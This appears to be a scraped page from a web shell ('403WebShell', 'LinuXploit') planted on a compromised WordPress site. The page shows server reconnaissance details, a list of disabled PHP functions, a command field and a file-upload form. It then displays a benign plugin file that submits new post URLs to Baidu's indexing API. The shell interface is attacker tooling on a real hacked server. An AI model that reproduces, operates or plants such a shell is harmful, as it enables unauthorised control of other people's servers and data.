AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor


Warning: chmod(): Operation not permitted in /www/wwwroot/dzynews.com/wp-content/plugins/fileorganizer/fileorganizer.php on line 8
403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/plugins/wppao-sitemap/module/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/plugins/wppao-sitemap/module/baidu-zd.php
<?php
    /**
     * 进行主动推送
     * wppao.com update by 缘殊 QQ208125126
     * 2020-5-24
     * 1代表提交过了
     * -1代表提交失败
     * 2代表天级收录
     */
     function wppsmp_baidu_zdsubmit($post_ID){
            $baidu_zd_token = wppsmp_get_setting('zd_token');
            
            if($baidu_zd_token){

                $baidu_zd_domain = get_option('home');
                /**
                 * 不要推送推送过的
                 * 知道么?
                 */
                if (get_post_meta($post_ID, 'baidu_submit', true) == 1) return;

                $url = get_permalink($post_ID);
                $api = 'http://data.zz.baidu.com/urls?site=' . $baidu_zd_domain . '&token=' . $baidu_zd_token;
                $request = new WP_Http;
                $result = $request->request($api, array('method' => 'POST', 'body' => $url, 'headers' => 'Content-Type: text/plain'));
                $result = json_decode($result['body'], true);

                /**
                 * 推送成功要记录
                 * 不要像个hape一直推送 渣渣
                 */
                if (array_key_exists('success', $result)) {
                    add_post_meta($post_ID, 'baidu_submit', 1, true);
                }else{
                    add_post_meta($post_ID, 'baidu_submit', -1, true);
                }
            }
    }

    if (wppsmp_get_setting('zd_submit')) {
        add_action('publish_post', 'wppsmp_baidu_zdsubmit', 0);
    }

    /**
     * 后期?
     * 后期加个页面显示是不是推送过好了。
     * 等有时间再说。
     */

    add_filter('manage_posts_columns', 'wppsmp_add_posts_baidu_submit_columns');
    function wppsmp_add_posts_baidu_submit_columns($columns) {
        $columns['baidu'] = '百度推送';
        return $columns;
    }

    add_action('manage_posts_custom_column', 'wppsmp_manage_posts_columns', 10, 2);
    function wppsmp_manage_posts_columns($column_name, $id) {
        global $wpdb;
        switch ($column_name) {
            case 'baidu':
                $baidu_status =  get_post_meta($id, 'baidu_submit', true);
                if($baidu_status == 1 ){
                    $baidu = '主动推送成功';
                }elseif($baidu_status == 2){
                    $baidu = '天级收录成功';
                }elseif($baidu_status == -1){
                    $baidu = '推送失败';
                }else{
                    $baidu = '没有推送';
                }
                echo $baidu;
                break;
            default:
                break;
        }
    }

Youez - 2016 - github.com/yon3zu
LinuXploit